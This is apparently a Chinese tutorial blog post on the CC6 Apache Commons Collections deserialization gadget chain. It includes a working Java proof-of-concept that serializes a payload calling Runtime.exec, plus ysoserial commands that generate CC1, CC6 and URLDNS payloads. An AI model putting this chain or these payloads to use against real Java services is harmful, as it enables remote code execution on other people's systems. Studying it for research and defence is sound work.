CC6链漏洞

CC6链漏洞

一 cc链简介

CC链是Apache Commons Collections反序列化漏洞利用链的简称,它涉及将可以执行命令的函数(如Runtime.getRuntime().exec("calc.exe"))序列化为对象流并转化为文件流存储在文件中,然后通过反序列化将文件流转化回对象流并执行反序列化。

这一过程的关键在于重写readObject()方法,并确保反序列化的参数可控,无论这些参数是对象流还是文件流。CC链的目的是为了绕过直接反序列化Runtime对象时遇到的错误,因为Runtime类没有实现Serializable接口。通过CC链,可以将Runtime对象序列化,从而执行命令。

cc6链不受jdk版本约束,较于其他cc链,更为通用。

commons-collection 版本3.1-3.2.1

二 cc链环境准备

commons-collection 版本3.2.1

在pom.xml 里添加配置 后刷新

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

三 cc链漏洞

由于使用了Common Collections (Apache)工具,然后此工具了有一些安全漏洞

Common Collections工具的漏洞都是反序列漏洞

下面以CC6的漏洞为例,研究一下CC6的执行过程,并且构建CC6的POC代码

1 CC6的终点

public class InvokerTransformer implements Transformer, Serializable{
    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
    }
}

构建执行终点的POC代码

public class Test1 {
​
    public static void main(String[] args) {
        String iMethodName = "exec";
        Class[] iParamTypes = {String.class};
        Object[] iArgs = {"calc.exe"};
​
        //构建InvokerTransformer对象
        InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName, iParamTypes, iArgs);
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

2 CC6链执行过程

java.io.ObjectInputStream.readObject()
     java.util.HashMap.put()
     java.util.HashMap.hash()
         org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
         org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
            org.apache.commons.collections.map.LazyMap.get()
                 org.apache.commons.collections.functors.ChainedTransformer.transform()
                 org.apache.commons.collections.functors.InvokerTransformer.transform()
                    java.lang.reflect.Method.invoke()
                        java.lang.Runtime.exec()

(1)、第一步

image-20240530144257353

(2)、第二步

image-20240530144658493

(3)、第三步

image-20240530145045956

(4)、第四步

image-20240530145318587

(5)、第五步

image-20240530145524515

(6)、第六步

image-20240530145706540

最终找到了 HashMap的put方法 ,并且HashMap重写了readObject方法 ,并且调用当前执行的 putVal方法 。

3 构建CC6的POC代码

目的为了生成序列化文件 。

public class Test3 {
​
    public static void main(String[] args) throws Exception {
        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        //chainedTransformer.transform(Runtime.class);
​
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        //这里ConstantTransformer随便放,这样put的时候不会触发计算器
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "a");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "b");
        lazymap.remove("a");
        //反序列化不能由key,所以romove掉
​
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        //反射获取LazyMap,类似反射获url类
        factoryField.set(lazymap, chainedTransformer);
​
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(map2);
        //序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化
    }
}

四 使用YsoSerial生成序列化数据

ysoserial工具集合了各种Java反序列化Payload,堪称为Java反序列化利用神器。大体分为生成代码、利用库(工具库)、Payloads库、序列化库 这四大库,网址为:GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization., 可以下载最新版本,也可以阅读其源代码。

(1)运行java -jar ysoserial.jar,不带任何参数,可以获取到ysoserial的用法和内置的Paylod(JDK1.8版本支持)

image-20230724233309819

(2)运行Payload生成序列化数据,再利用Java对序列化数据进行反序列化即可,如:

java -jar ysoserial.jar CommonsCollections1 calc.exe > ysocc1.ser
java -jar ysoserial.jar CommonsCollections6 calc.exe > ysocc6.ser
java -jar ysoserial.jar URLDNS http://123456.ns.matrika.cn > ysourldns.ser
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值